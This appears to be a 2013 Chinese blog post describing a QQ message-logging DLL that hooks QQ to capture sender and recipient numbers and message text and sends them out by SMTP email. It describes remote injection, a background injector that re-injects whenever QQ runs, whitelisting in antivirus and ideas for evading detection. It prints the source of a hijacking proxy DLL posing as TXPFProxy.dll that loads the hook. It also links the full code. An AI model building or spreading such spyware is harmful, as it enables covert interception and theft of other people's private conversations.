寫一個簡單DLL 獲取QQ消息的DLL,貌似網上有賣這個,但貌似對于QQ2013是不行的,因為他用動態劫持,貌似最新版用QQ劫持都有點不行。我測試用遠程注入,你可以自己寫代碼實現遠程注入軟件也可以網上下載遠程注入軟件,我為了方便大家把自己寫非常遠程軟件上傳到這里,方便你測試。我先截一下效果圖
這個我只是簡單獲取 發送方QQ 號 和目標的QQ號 和 文本內容,你如果有其他需求,自己可以添加對應的HOOK的QQ API獲取對應信息,也可以上網百度或者google一下。記住發送郵件要用線程不然會阻塞QQ。代碼你可以任意修改,任意發布
我這里只是寫了簡單的DLL,你可以一個exe 主程序,這個主程序可以后臺運行,當發現有QQ進程 ,并且沒有注入你的DLL,你就可以注入DLL,這是一個比較可行的辦法。如果殺毒軟件攔截,你直接添加信任,下次就不會出現提示框了,QQ對于遠程注入會認為合法。但對于DLL劫持加載DLL 會阻止。我劫持lpk.dll 和 msimg32 都會攔截,而且金山殺毒只要你復制 這樣名字的dll 都會報毒,但你掃描他又認為沒有毒,可見殺毒這樣的DLL原理還是比較簡單,我估計金山是對shell 進行掛鉤 。 但貌似如果我用寫編譯器可以生成這樣的文件,殺毒軟件是不會報毒,我設想我就用c 語言 fopen fwrite fread 寫一個 exe 應該殺毒軟件就不會報毒了,或許這是金山的BUG。(我沒有測試我的想法,你感興趣可以試試)。我的DLL構成:MAIL: ZBase64.h ZBase64.cpp CMail.cpp CMail.h 處理發送簡單SMTP郵件HOOK:ULHook.cpp ULHook.h 處理HOOKMAIN: main.cpp 業務層吧。我發送郵件時用多線程,當你輸入字數超過10個我就開始發送了(這里只是為了測試用的),你可以定義100或者更長看你的需求。 我測試一下劫持 TXPFProxy.dll(進入安全模式把源碼TXPFProxy.dll 改為TXPFProxy1.dll ,因為QQ 用驅動保護這個文件不能夠被修改刪除)
但貌似QQ會崩潰后面就不加載這個dll. 不知道是不是的假冒的dll 有問題還是怎么了。
我覺得這樣寫應該沒有問題。。。
1 #include <Windows.h>
2 #include <process.h>
3
4 #pragma comment(linker,"/EXPORT:DllCanUnloadNow=TXPFProxy1.DllCanUnloadNow")
5 #pragma comment(linker,"/EXPORT:DllGetClassObject=TXPFProxy1.DllGetClassObject")
6 #pragma comment(linker,"/EXPORT:DllRegisterServer=TXPFProxy1.DllRegisterServer")
7 #pragma comment(linker,"/EXPORT:DllUnregisterServer=TXPFProxy1.DllUnregisterServer")
8 #pragma comment(linker,"/EXPORT:GetProxyDllInfo=TXPFProxy1.GetProxyDllInfo")
9
10 void Init(void*)
11 {
12 Sleep(10000);
13 LoadLibraryA("CULHook.dll");
14 }
15
16 int __stdcall DllMain(_In_ HANDLE _HDllHandle, _In_ DWORD _Reason, _In_opt_ LPVOID _Reserved)
17 {
18 if(_Reason == DLL_PROCESS_ATTACH)
19 {
20 _beginthread(Init,0,NULL);
21 }
22
23 }
現在對QQ的DLL劫持 不是那么好做了啊,算了,反正我對這個不感興趣,只是好玩,基本已經達到我的要求,我又不要賣這個軟件。
附件代碼:
/Files/xvsdf100/QQ消息記錄器.zip
posted on 2013-05-10 13:12
小魚兒 閱讀(4658)
評論(1) 編輯 收藏 引用